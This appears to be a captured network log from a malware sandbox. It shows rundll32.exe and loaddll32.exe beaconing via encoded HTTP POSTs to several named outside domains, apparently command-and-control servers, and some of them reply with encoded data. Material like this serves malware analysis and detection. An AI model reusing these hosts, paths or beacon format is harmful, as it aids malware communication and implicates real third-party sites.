Oct 4, 2021 16:04:40.806685925 CEST	7607	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:04:40 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 68 7a 66 45 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXhzfEJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
432	192.168.2.3	50274	185.20.51.238	80	C:\Windows\System32\loaddll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:04:40.927355051 CEST	7607	OUT	POST /DlOBqKAf/OSwKHCEePnoqInogJCEWOgYGIEZ6c3lifn1yZX5heA== HTTP/1.1 Host: opulent-imports.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:04:40.963634968 CEST	7608	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:04:40 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade Content-Length: 0 Content-Type: application/x-httpd-ea-php54

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
433	192.168.2.3	50275	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:04:41.163944960 CEST	7609	OUT	POST /lBawcxb5/KA8zdCQ4AjsIJw0hGBx8JjkCehcRBw47CEJ7cn5henxzYn1leQ== HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:04:41.609772921 CEST	7611	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:04:41 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 68 7a 66 55 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXhzfUJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
434	192.168.2.3	50276	103.50.162.157	80	C:\Windows\System32\loaddll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:04:41.313280106 CEST	7609	OUT	POST /9SqebpSMu/Oi16fH4YfQMcJQZyJBgfGTh7RX5yeGV9eXNkeWJ8 HTTP/1.1 Host: nitro2point0.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:04:41.440130949 CEST	7610	IN	HTTP/1.1 406 Not Acceptable Date: Mon, 04 Oct 2021 14:04:41 GMT Server: Apache Content-Length: 226 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4e 6f 74 20 41 63 63 65 70 74 61 62 6c 65 21 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 4e 6f 74 20 41 63 63 65 70 74 61 62 6c 65 21 3c 2f 68 31 3e 3c 70 3e 41 6e 20 61 70 70 72 6f 70 72 69 61 74 65 20 72 65 70 72 65 73 65 6e 74 61 74 69 6f 6e 20 6f 66 20 74 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 54 68 69 73 20 65 72 72 6f 72 20 77 61 73 20 67 65 6e 65 72 61 74 65 64 20 62 79 20 4d 6f 64 5f 53 65 63 75 72 69 74 79 2e 3c 2f 70 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <head><title>Not Acceptable!</title></head><body><h1>Not Acceptable!</h1><p>An appropriate representation of the requested resource could not be found on this server. This error was generated by Mod_Security.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
435	192.168.2.3	50277	192.185.113.204	80	C:\Windows\System32\loaddll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:04:41.996716976 CEST	7612	OUT	POST /7fTwg0V7/fQwKNjgxCw4CCwwAHSF2IAwyKAAdHDpFfnJ4ZX15c2R5Ynw= HTTP/1.1 Host: streamline-trade.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:04:42.137372017 CEST	7612	IN	HTTP/1.1 406 Not Acceptable Date: Mon, 04 Oct 2021 14:04:42 GMT Server: Apache Content-Length: 226 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4e 6f 74 20 41 63 63 65 70 74 61 62 6c 65 21 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 4e 6f 74 20 41 63 63 65 70 74 61 62 6c 65 21 3c 2f 68 31 3e 3c 70 3e 41 6e 20 61 70 70 72 6f 70 72 69 61 74 65 20 72 65 70 72 65 73 65 6e 74 61 74 69 6f 6e 20 6f 66 20 74 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 54 68 69 73 20 65 72 72 6f 72 20 77 61 73 20 67 65 6e 65 72 61 74 65 64 20 62 79 20 4d 6f 64 5f 53 65 63 75 72 69 74 79 2e 3c 2f 70 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <head><title>Not Acceptable!</title></head><body><h1>Not Acceptable!</h1><p>An appropriate representation of the requested resource could not be found on this server. This error was generated by Mod_Security.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
436	192.168.2.3	50278	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:04:42.021411896 CEST	7612	OUT	POST /lBawcxb5/OBp4HyU8LTIIRnpzeWJ+fXJlfmF4 HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:04:42.510097027 CEST	7614	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:04:42 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 68 7a 66 6b 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXhzfkJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
437	192.168.2.3	50279	51.222.139.54	80	C:\Windows\System32\loaddll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:04:42.503914118 CEST	7613	OUT	POST /hWo6FObvrdp/Ox8RenwpBwp4PSgjBzsdDywkPz8+Og4nAwEbQn12eWR6endleGV/ HTTP/1.1 Host: sologicgroup.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:04:42.733129978 CEST	7615	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:04:42 GMT Server: Apache Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
438	192.168.2.3	50280	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:04:42.864464045 CEST	7615	OUT	POST /lBawcxb5/LBNyGCwTey8VfBkDKDg5HhN6ehcYBUJ9dnlkenp3ZXhlfw== HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:04:43.466658115 CEST	7617	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:04:42 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 68 7a 66 30 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXhzf0JBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
439	192.168.2.3	50281	192.185.46.34	80	C:\Windows\System32\loaddll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:04:43.114661932 CEST	7616	OUT	POST /gnYxifRY/fjgFdD9+BXw8eR4HJ0V+cnhlfXlzZHlifA== HTTP/1.1 Host: pedroaros.cl Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:04:43.255480051 CEST	7616	IN	HTTP/1.1 406 Not Acceptable Date: Mon, 04 Oct 2021 14:04:43 GMT Server: Apache Content-Length: 226 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4e 6f 74 20 41 63 63 65 70 74 61 62 6c 65 21 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 4e 6f 74 20 41 63 63 65 70 74 61 62 6c 65 21 3c 2f 68 31 3e 3c 70 3e 41 6e 20 61 70 70 72 6f 70 72 69 61 74 65 20 72 65 70 72 65 73 65 6e 74 61 74 69 6f 6e 20 6f 66 20 74 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 54 68 69 73 20 65 72 72 6f 72 20 77 61 73 20 67 65 6e 65 72 61 74 65 64 20 62 79 20 4d 6f 64 5f 53 65 63 75 72 69 74 79 2e 3c 2f 70 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <head><title>Not Acceptable!</title></head><body><h1>Not Acceptable!</h1><p>An appropriate representation of the requested resource could not be found on this server. This error was generated by Mod_Security.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
44	192.168.2.3	49799	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:01:32.757714987 CEST	1134	OUT	POST /lBawcxb5/HiYFeTpyPng4KCF4Pzk8EQgqOQkgOA0PBUJ7cn5henxzYn1leQ== HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:01:33.267220020 CEST	1136	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:01:32 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 70 79 66 30 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXpyf0JBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
440	192.168.2.3	50282	128.0.46.214	80	C:\Windows\System32\loaddll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:04:43.516047955 CEST	7618	OUT	POST /QFm9qbfjT/Mz0afCg7BhkbLgUPQn12eWR6endleGV/ HTTP/1.1 Host: apimar.eu Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:04:43.915612936 CEST	7619	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:04:43 GMT Server: Apache X-Powered-By: PHP/5.5.38 Content-Length: 0 Content-Type: text/html

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
441	192.168.2.3	50283	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:04:43.795762062 CEST	7619	OUT	POST /lBawcxb5/IhA6GCByHDMgHA9DenV9ZXt9dGF5ZHg= HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:04:44.250474930 CEST	7620	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:04:43 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 68 7a 65 45 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXhzeEJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
442	192.168.2.3	50284	192.254.235.244	80	C:\Windows\System32\loaddll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:04:44.647211075 CEST	7621	OUT	POST /IfpAV6qS/PQ0gIRZ+ISIiFRp8EykJAxAnfQl9MwAbAUJ7cn5henxzYn1leQ== HTTP/1.1 Host: baetrading.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
